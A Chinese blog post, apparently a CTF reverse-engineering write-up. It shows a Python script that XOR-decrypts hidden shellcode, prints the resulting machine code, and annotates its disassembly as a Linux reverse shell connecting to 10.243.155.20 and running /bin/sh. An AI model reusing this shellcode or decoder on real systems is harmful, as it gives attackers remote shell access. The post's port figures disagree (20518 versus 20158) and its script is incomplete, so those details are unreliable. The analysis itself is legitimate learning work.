0x4: ret
0x0: mov rdi, 0x80cd8e
0x0: mov esi, 0x80b378
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd8f
0x0: mov esi, 0x80b380
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd90
0x0: mov esi, 0x80b388
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd91
0x0: mov esi, 0x80b390
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd92
0x0: mov esi, 0x80b398
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd93
0x0: mov esi, 0x80b3a0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd94
0x0: mov esi, 0x80b3a8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd95
0x0: mov esi, 0x80b3b0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd96
0x0: mov esi, 0x80b3b8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd97
0x0: mov esi, 0x80b3c0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd98
0x0: mov esi, 0x80b3c8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd99
0x0: mov esi, 0x80b3d0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd9a
0x0: mov esi, 0x80b348
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd9b
0x0: mov esi, 0x80b350
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd9c
0x0: mov esi, 0x80b358
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd9d
0x0: mov esi, 0x80b360
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd9e
0x0: mov esi, 0x80b368
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd9f
0x0: mov esi, 0x80b370
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cda0
0x0: mov esi, 0x80b378
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cda1
0x0: mov esi, 0x80b380
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cda2
0x0: mov esi, 0x80b388
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cda3
0x0: mov esi, 0x80b390
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cda4
0x0: mov esi, 0x80b398
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cda5
0x0: mov esi, 0x80b3a0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cda6
0x0: mov esi, 0x80b3a8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cda7
0x0: mov esi, 0x80b3b0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cda8
0x0: mov esi, 0x80b3b8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cda9
0x0: mov esi, 0x80b3c0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cdaa
0x0: mov esi, 0x80b3c8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cdab
0x0: mov esi, 0x80b3d0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cdac
0x0: mov esi, 0x80b348
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cdad
0x0: mov esi, 0x80b350
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cdae
0x0: mov esi, 0x80b358
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cdaf
0x0: mov esi, 0x80b360
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cdb0
0x0: mov esi, 0x80b368
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cdb1
0x0: mov esi, 0x80b370
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cdb2
0x0: mov esi, 0x80b378
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cdb3
0x0: mov esi, 0x80b380
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret

可以看到是将以0x80cd40到0x80cdb3之间存放的数据分别和key进行循环异或,0x80cd40开始存放的数据如下:

image-20250130130535238

编写脚本解密:

key = 'goodluckresearcher'
shellcode = [
0x296ae9e802750474, 0x203c700b3b720f58,
0xae5d2c3c6a68a054, 0x9a63117110a9ee2b,
0x026d05a0fb2d33a4, 0x21b4db3c694731ab,
0x313366fe9b697645, 0x607d33491f367405,
0x2a4402ad8d3f6619, 0xab523d3c931a6a68,
0x8061066310b3e03a, 0xa75d2c995e2f2a64,
0x014e0b1a075dd02b, 0x0e4b53ea3a36680b,
0x000000006e6c2d57,
]
instructions = []
for i in shellcode:
code = transform_to_little_endian(i)
instructions += [code[c:c + 2] for c in range(0, len(code), 2)]
for i in range(len(instructions)):
instructions[i] = int(instructions[i], base=16) ^ ord(key[i % len(key)])
print(instructions)
print(''.join(f'{b:02x}' for b in instructions))

机器码:4e05868c6e00671f5259036e5a006c30cb2f4b53050ccc21f908631463cc8f59610560d29c425cc04dc1b8571b2242ce50410596fe1b112a0f195f3c7c5d0660592163dfee57036bcc3d5258ff6f0903f204750671c18352c22f4bf6314b46116225797f7438b1596d2336985d59076f02194e3c

对应的汇编大致如下,和动态分析结果一致:

; 初始化和寄存器操作
13 6b 1a 66 adc ebp, DWORD PTR [rbx+0x66] ; 可能的干扰指令(实际可能为数据或混淆)
84 9c 09 42 2a test BYTE PTR [rcx+rcx*1+0x2a42], bl
6a 01 push 0x1
5e pop rsi ; rsi = 1
6a 02 push 0x2
5f pop rdi ; rdi = 2
48 31 d2 xor rdx, rdx ; rdx = 0
0f 05 syscall ; sys_socket(rdi=2, rsi=1, rdx=0)

; 后续系统调用和参数设置
53 push rbx
48 31 db xor rbx, rbx ; rbx = 0
48 85 db test rbx, rbx
75 02 jne 0x2 ; 条件跳转(通常用于混淆)
74 02 je 0x2 ; 条件跳转(混淆)
e8 c7 5b 48 89 call 0xffffffff89485bcc ; 无效地址(可能为数据)
c7 6a 02 mov DWORD PTR [rdx], 0x2 ; rdx = 0x2(可能为干扰)
66 c7 44 24 02 4e be mov WORD PTR [rsp+0x2], 0x4ebe ; 设置端口号(0x4ebe)
c7 44 24 04 0a f3 9b mov DWORD PTR [rsp+0x4], 0x149bf30a ; 设置IP地址(10.243.155.20)
14 54 5e adc BYTE PTR [rsp+rdx*2], dl ; 干扰
6a 10 push 0x10
5a pop rdx ; rdx = 0x10(地址长度)
6a 2a push 0x2a
58 pop rax ; rax = 0x2a(sys_connect)
0f 05 syscall ; sys_connect(sockfd, addr, addrlen)

; 反向Shell处理
6a 03 push 0x3
5e pop rsi ; rsi = 3(循环计数器)
ff ce dec esi ; rsi--
6a 21 push 0x21
58 pop rax ; rax = 0x21(sys_dup2)
0f 05 syscall ; sys_dup2(sockfd, rsi)
75 f7 jne -0x9 ; 循环复制stdin/stdout/stderr

; 执行/bin/sh
50 push rax
48 31 c0 xor rax, rax ; rax = 0
48 85 c0 test rax, rax
75 02 jne 0x2 ; 混淆
74 02 je 0x2
e8 01 58 48 31 call 0xffffffff31485806 ; 无效地址
f6 48 31 d2 div BYTE PTR [rax-0x2e] ; 干扰
48 bb 2f 62 69 6e 2f movabs rbx, 0x68732f6e69622f ; "/bin/sh"
73 68 00
53 push rbx
48 8d 3c 24 lea rdi, [rsp] ; rdi指向/bin/sh字符串
6a 3b push 0x3b
58 pop rax ; rax = 0x3b(sys_execve)
0f 05 syscall ; execve("/bin/sh", NULL, NULL)

因此得到ip为10.243.155.20,port为20518。

flag:flag{goodluckresearcher_10.243.155.20_20158}

文章作者: Alex
文章链接: http://example.com/2025/01/29/被新春赛的一道逆向创死了/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Alex's blog~